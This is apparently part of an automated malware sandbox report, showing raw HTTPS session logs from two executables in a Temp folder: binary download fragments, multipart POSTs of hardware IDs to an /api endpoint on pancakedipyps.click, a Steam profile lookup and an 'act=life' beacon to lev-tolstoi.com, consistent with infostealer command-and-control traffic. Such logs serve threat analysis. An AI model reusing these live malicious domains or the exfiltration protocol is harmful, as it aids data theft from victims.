@Tu@@tyPG3A#MEE;t>=uw\Shu9
2024-12-23 16:16:25 UTC	16384	IN	Data Raw: 74 07 50 ff 15 2c 90 40 00 a1 6c 1d 44 00 3b c3 74 07 50 ff 15 30 91 40 00 89 1d 68 1d 44 00 89 1d 6c 1d 44 00 89 1d 10 eb 47 00 81 7d 0c 0f 04 00 00 0f 85 4b 01 00 00 53 53 e8 f4 c3 ff ff 39 5d 10 74 07 6a 08 e8 0d c6 ff ff 39 5d 14 74 3f ff 35 6c 1d 44 00 e8 d1 c4 ff ff 8b f8 57 e8 7e c4 ff ff 33 c0 33 c9 3b fb 7e 0e 8b 55 e4 39 1c 82 74 01 41 40 3b c7 7c f2 53 51 68 4e 01 00 00 ff 75 f8 ff d6 89 7d 14 c7 45 0c 20 04 00 00 53 53 e8 9d c3 ff ff a1 6c 1d 44 00 89 45 e0 a1 c8 ea 47 00 c7 45 c4 30 f0 00 00 89 5d e8 39 1d cc ea 47 00 0f 8e a1 00 00 00 8d 78 08 8b 45 e0 8b 4d e8 8b 04 88 3b c3 74 79 8b 0f 89 45 bc c7 45 b8 08 00 00 00 f7 c1 00 01 00 00 74 13 8d 47 10 c7 45 b8 09 00 00 00 89 45 c8 81 27 ff fe ff ff f6 c1 40 74 05 6a 03 58 eb 0e 8b c1 83 e0 01 Data Ascii: tP,@lD;tP0@hDlDG}KSS9]tj9]t?5lDW~33;~U9tA@;\|SQhNu}E SSlDEGE0]9GxEM;tyEEtGEE'@tjX
2024-12-23 16:16:25 UTC	1024	IN	Data Raw: 00 64 00 6f 00 77 00 00 00 00 00 50 00 6f 00 70 00 3a 00 20 00 73 00 74 00 61 00 63 00 6b 00 20 00 65 00 6d 00 70 00 74 00 79 00 00 00 00 00 45 00 78 00 63 00 68 00 3a 00 20 00 73 00 74 00 61 00 63 00 6b 00 20 00 3c 00 20 00 25 00 64 00 20 00 65 00 6c 00 65 00 6d 00 65 00 6e 00 74 00 73 00 00 00 52 00 4d 00 44 00 69 00 72 00 3a 00 20 00 22 00 25 00 73 00 22 00 00 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 42 00 6f 00 78 00 3a 00 20 00 25 00 64 00 2c 00 22 00 25 00 73 00 22 00 00 00 44 00 65 00 6c 00 65 00 74 00 65 00 3a 00 20 00 22 00 25 00 73 00 22 00 00 00 00 00 25 00 73 00 00 00 00 00 46 00 69 00 6c 00 65 00 3a 00 20 00 77 00 72 00 6f 00 74 00 65 00 20 00 25 00 64 00 20 00 74 00 6f 00 20 00 22 00 25 00 73 00 22 00 00 00 00 00 46 00 69 00 6c 00 65 00 Data Ascii: dowPop: stack emptyExch: stack < %d elementsRMDir: "%s"MessageBox: %d,"%s"Delete: "%s"%sFile: wrote %d to "%s"File
2024-12-23 16:16:25 UTC	16384	IN	Data Raw: 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 3a 00 20 00 63 00 61 00 6e 00 27 00 74 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 2d 00 20 00 61 00 20 00 66 00 69 00 6c 00 65 00 20 00 61 00 6c 00 72 00 65 00 61 00 64 00 79 00 20 00 65 00 78 00 69 00 73 00 74 00 73 00 00 00 00 00 43 00 72 00 65 00 61 00 74 00 65 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 3a 00 20 00 63 00 61 00 6e 00 27 00 74 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 28 00 65 00 72 00 72 00 3d 00 25 00 64 00 29 00 00 00 43 00 72 00 65 00 61 00 74 00 65 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 3a 00 20 00 22 00 25 00 73 00 22 00 20 00 28 00 25 00 64 00 29 00 00 00 00 00 53 00 65 00 Data Ascii: irectory: can't create "%s" - a file already existsCreateDirectory: can't create "%s" (err=%d)CreateDirectory: "%s" (%d)Se
2024-12-23 16:16:25 UTC	1024	IN	Data Raw: ff c4 fd 92 cf 8d 22 80 05 80 10 01 04 ac c7 67 f8 fb 85 00 90 eb 71 bc 3c e9 39 c8 79 b4 5c 0a 82 27 18 89 9f 21 5e 27 52 87 00 30 8a 00 a3 00 00 c6 90 e8 53 0b 03 79 9e 00 f5 3f 67 32 57 8f 07 9e 63 bd 4a f6 e2 bd b4 1d 90 ba 20 79 b9 4e fd df 01 f1 39 bc cf 08 5a cf 42 80 eb 05 d4 e2 41 dc c8 08 62 00 77 37 c4 7d 0a d2 af de b8 51 4c 62 a0 2a 27 25 bd 3a 6a ca b4 ca 91 2e c3 0a 7a 77 ee 96 d0 b6 45 ab 39 1f bc f3 5e c0 2f ff fd df 07 d2 b5 80 1b 51 61 ea 61 08 e2 3f 10 78 28 21 ae 1d d5 11 c0 75 f5 24 21 a0 8a 01 53 00 98 cd 6c 66 fb 9b 1b 77 20 4c fe b6 88 bf b1 88 9f 09 1f 91 0c a2 1a 74 68 e8 d8 60 f5 63 18 1f 66 55 f3 7d e3 8d 37 a6 7f fb ed b7 71 61 61 61 e9 31 31 31 15 a9 a9 a9 b5 a8 e4 3f 72 e4 48 0e ee 15 8f fb e3 53 27 3a 9f 3a d7 29 04 54 88 Data Ascii: "gq<9y\'!^'R0Sy?g2WcJ yN9ZBAbw7}QLb*'%:j.zwE9^/Qaa?x(!u$!Slfw Lth`cfU}7qaaa111?rHS'::)T
2024-12-23 16:16:25 UTC	16384	IN	Data Raw: 8b 05 d9 11 60 31 80 14 81 28 1c a4 f3 1a ae 00 84 40 0c fd 86 75 17 2f 5c 4c 3b b8 ef 40 51 75 79 55 55 7a 72 6a cd 92 85 d1 a5 41 5e 3e 69 9d 9b b5 5d fa fb 1f bd 18 4e d7 8c 23 e1 bb 3a 02 7c 7d 9a 8e 80 d9 cc 66 b6 ef d4 54 e2 47 a7 81 ce 83 23 7f 5b 11 bf 1a ed 73 c4 cf 43 f9 44 c4 4f a4 2f 22 fe b6 6d db ce b4 b3 b3 5b 1f 14 14 54 b8 6c d9 b2 ea b2 b2 32 54 f3 97 de b9 73 07 73 f1 e3 e6 3b b8 59 0b a6 e3 05 81 c0 e2 47 87 8a ce d7 d6 8d 76 9e 54 2d af 3e 07 31 aa 1d 39 96 2a e1 1b a1 92 39 7f e6 bb 08 00 de 0e ef 8b 15 d1 f2 3e 2b 8f 41 a4 4f 14 00 bc 24 60 76 41 7c c6 d6 ef 05 78 ff 6d ed a3 ba 4f 0c 2b 01 60 78 ce 02 80 a1 92 3f ff 07 38 1e 88 74 39 da 67 01 c0 30 3a 01 cf 24 00 14 c0 09 60 d2 57 c5 80 2a 02 8c f7 0e 00 89 e3 ff 62 62 57 c9 9c ff Data Ascii: `1(@u/\L;@QuyUUzrjA^>i]N#:\|}fTG#[sCDO/"m[Tl2Tss;YGvT->199>+AO$`vA\|xmO+`x?8t9g0:$`WbbW
2024-12-23 16:16:25 UTC	1024	IN	Data Raw: a7 32 b7 96 57 56 2e 9f 1e 55 35 bc 73 9f f4 8f 5e fc dd 1c ea cc 46 50 3f 85 29 84 51 a3 04 11 80 b4 25 00 21 a0 16 07 1a 53 02 a6 13 60 b6 7f c9 a6 0a 00 5b 96 bf b1 d2 1f e4 8f 8b 05 17 0d 2e 20 4c bc d1 ea df fe ed df 1c df 7a eb ad 88 be 7d fb 26 cc 9a 35 ab 14 f7 ed bf 74 e9 12 e6 f2 47 d4 3f 95 2e 4c 10 b8 3b 61 04 2e 52 02 48 5d 15 00 4c f6 46 11 c0 60 11 c0 4e 00 3a 0f 74 0c dc 19 30 d1 db 7a 0e a8 02 40 ac a3 ef ee 4b 10 02 80 89 ff d4 a9 53 03 29 ea 19 bc 73 e7 4e 87 f2 f2 72 a7 ec bc 3c e7 b5 1b 36 0c 5d b0 34 66 c4 f8 49 93 fc 02 3c bd c2 5c 7b f7 9d 31 b8 65 bb c5 fd 3f fc 6c a3 fd bb 9f 96 b8 7f dc 7c cf 98 d6 1d cf ce e8 3b f8 d6 0a ef 40 31 6e 7f 27 75 b8 e7 0f 1f 11 9d 32 66 7e 43 8e 5f d8 fb 5c c8 c7 1d 39 3a 75 26 7d 26 7e 8e fa 21 00 Data Ascii: 2WV.U5s^FP?)Q%!S`[. Lz}&5tG?.L;a.RH]LF`N:t0z@KS)sNr<6]4fI<\{1e?l\|;@1n'u2f~C_\9:u&}&~!
2024-12-23 16:16:25 UTC	16384	IN	Data Raw: e1 d7 42 3a f5 3c e3 dd ba f3 5e cf 4e dd 2b 02 1c 9c 52 c6 05 87 c4 cd 99 33 67 ee b2 15 2b a6 c4 27 26 86 65 64 65 8d 2a 29 29 f1 dd b2 65 8b c7 fe fd fb c5 f0 41 39 62 00 42 80 ef 42 28 dc 00 82 4a fa 46 21 c0 11 3f 00 e2 87 75 0f 3c ab 08 00 d8 09 30 5e ef 00 5e c3 67 30 71 50 30 89 80 39 f4 bb 37 1c dd b9 b7 28 6d d9 ea ca 31 83 dd f2 da bd f2 c1 e2 ff f8 de 0f 20 02 3a 12 50 b0 8c 19 4a d9 0d 40 70 63 6b be 00 16 01 e8 1f 59 04 00 dc 8f 9a cd 6c ff 54 4d 15 00 b6 22 7f 35 df 6f 2c f6 e3 61 7e ed 5e 7c f1 45 b7 a6 4d 9b 46 79 78 78 a4 ac 5e bd ba 9c a2 84 72 ea 08 52 e9 c2 8b a6 0b 10 56 bf 87 bc 98 71 61 8a 29 78 25 61 a3 33 80 08 f0 95 22 00 50 9d 00 a3 08 60 61 f0 5d 9d 00 c0 4a 00 80 fc a9 d3 1a 40 c4 3f f0 c2 85 0b 03 a9 33 1b 74 e0 c0 01 7b ea Data Ascii: B:<^N+R3g+'&ede*))eA9bBB(JF!?u<0^^g0qP097(m1 :PJ@pckYlTM"5o,a~^\|EMFyxx^rRVqa)x%a3"P`a]J@?3t{
2024-12-23 16:16:25 UTC	1024	IN	Data Raw: 94 01 9c 01 b8 30 f8 8f c4 7f c5 e0 34 01 1c 01 99 1e 10 ff ad 2c dc 14 a3 36 e8 7f 87 f0 2b 95 c5 83 65 10 84 72 2a 62 51 2b 20 47 10 60 fe 07 dc d3 41 cc 09 41 42 40 73 05 1a 84 80 70 9d 84 10 c8 b4 6c a5 f3 12 e7 27 ce 53 2d 2d 40 e7 2e 6e 3a 94 83 1b 0e 95 08 37 8b 87 0e 0a 11 80 b9 03 64 4a 40 08 81 1a 12 02 10 01 48 0b 48 37 e0 c4 f6 5d e2 1e 18 5c 17 a0 0f 17 a4 eb cc ba 36 00 d7 24 5d 9b a2 30 10 00 f9 37 8c 12 10 4e 00 84 c0 95 ab 62 d6 ce 87 f7 ee 59 6e 5c be 4c d7 5d b9 25 79 d2 34 4b e4 37 fd 1e f8 7d de f6 f2 88 16 6d f7 fa f4 e9 9f 37 2e 70 d4 8a d9 f3 a2 66 ac 8c 5f 1b 96 91 93 e5 8f 99 03 f7 ec d9 63 35 42 c0 46 4d 00 93 bd 2a 00 54 08 11 20 df 0b 21 d0 98 13 00 21 c0 22 00 4b 3c c7 7b 87 51 df 1a 4e 58 71 e1 f0 f1 b2 f2 95 89 3b 67 ba fa Data Ascii: 04,6+erbQ+ G`AAB@spl'S--@.n:7dJ@HH7]\6$]07NbYn\L]%y4K7}m7.pf_c5BFMT !!"K<{QNXq;g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49719	172.67.209.202	443	5852	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:16:25 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QB1A2311IX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20529 Host: pancakedipyps.click
2024-12-23 16:16:25 UTC	15331	OUT	Data Raw: 2d 2d 51 42 31 41 32 33 31 31 49 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 51 42 31 41 32 33 31 31 49 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 51 42 31 41 32 33 31 31 49 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 64 65 63 0d 0a 2d 2d 51 42 31 41 32 33 31 31 49 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --QB1A2311IXContent-Disposition: form-data; name="hwid"EBB0969B53AB2898AC8923850305D13E--QB1A2311IXContent-Disposition: form-data; name="pid"3--QB1A2311IXContent-Disposition: form-data; name="lid"FATE99--dec--QB1A2311IXContent-Di
2024-12-23 16:16:25 UTC	5198	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 7d 51 30 b7 ee a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 ae 3f 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce f5 45 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 fe 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a d7 17 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 fa a3 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: s}Q0u?4E([:s~X`nO
2024-12-23 16:16:26 UTC	1134	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:16:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sf7622trftpg3vogguq4qsa0hi; expires=Fri, 18 Apr 2025 10:03:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XPZxvWiTBv1DWt%2FbhM86NqhHreQy1bCidk50TJdZm4jfYXI6XgBnp%2FujerO2%2BKd1CT0y9xSC77%2FoUI1juyZ5R7pMVNkNufCNmjB5Lfba%2BabZJSlYZC8yOLg8n76hZXgbO70k3Lhg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69a7f1acd87c82-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1980&min_rtt=1963&rtt_var=771&sent=22&recv=32&lost=0&retrans=0&sent_bytes=2847&recv_bytes=21486&delivery_rate=1388492&cwnd=212&unsent_bytes=0&cid=8aa96bdfb58e2050&ts=1269&x=0"
2024-12-23 16:16:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 16:16:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49720	104.121.10.34	443	2092	C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:16:26 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-23 16:16:26 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 23 Dec 2024 16:16:26 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=108987b0216a61177d14247a; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-23 16:16:26 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-23 16:16:26 UTC	16384	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-23 16:16:27 UTC	3768	IN	Data Raw: 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 22 Data Ascii: </div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_persona_name"
2024-12-23 16:16:27 UTC	490	IN	Data Raw: 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 74 Data Ascii: r Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div class="bt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49721	172.67.157.254	443	2092	C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:16:28 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-23 16:16:28 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 16:16:29 UTC	1121	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:16:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k058j6ubnb6hgc4bpf887emegm; expires=Fri, 18 Apr 2025 10:03:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c%2FZ7VVPRFmzl9el7J3Eosbg8pAzgv9Fr5LrBzhlwVscC7gTRG1lwRGSsIbFJKXdJL8VKXE47ZzxdIeK%2BT6RkzmXNimO6rJOEqu3cvva7InAlCgjKNtTOjvVh3MaMvpvaL1M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69a8063d12425f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1965&min_rtt=1667&rtt_var=838&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=906&delivery_rate=1751649&cwnd=216&unsent_bytes=0&cid=030f2737ad710239&ts=768&x=0"
2024-12-23 16:16:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 16:16:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49722	172.67.209.202	443	5852	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 16:16:29 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=T12OCLU9XABWEL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1183 Host: pancakedipyps.click
2024-12-23 16:16:29 UTC	1183	OUT	Data Raw: 2d 2d 54 31 32 4f 43 4c 55 39 58 41 42 57 45 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 42 42 30 39 36 39 42 35 33 41 42 32 38 39 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 54 31 32 4f 43 4c 55 39 58 41 42 57 45 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 54 31 32 4f 43 4c 55 39 58 41 42 57 45 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 64 65 63 0d 0a 2d 2d 54 31 32 4f 43 4c 55 39 58 41 Data Ascii: --T12OCLU9XABWELContent-Disposition: form-data; name="hwid"EBB0969B53AB2898AC8923850305D13E--T12OCLU9XABWELContent-Disposition: form-data; name="pid"1--T12OCLU9XABWELContent-Disposition: form-data; name="lid"FATE99--dec--T12OCLU9XA
2024-12-23 16:16:29 UTC	1138	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 16:16:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ct9lrgkvrktqq29oushvoejp6v; expires=Fri, 18 Apr 2025 10:03:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4u%2B%2BtZMUPrlyhmVa%2F8SjzHTzpYsUS0iNg8297BRUB1mbMMFueMQ9M2K%2BqupDWBiTJt%2FeSeZMjkZjxuXW3DkkFIJLlNo36qgiUthNd%2BSU%2FLG3EDUvAaTt38F%2BP5uAZmfYc1%2BUQc0D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f69a8070c50c359-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1650&min_rtt=1648&rtt_var=622&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=2099&delivery_rate=1753753&cwnd=234&unsent_bytes=0&cid=47e4a4313e9066fe&ts=828&x=0"
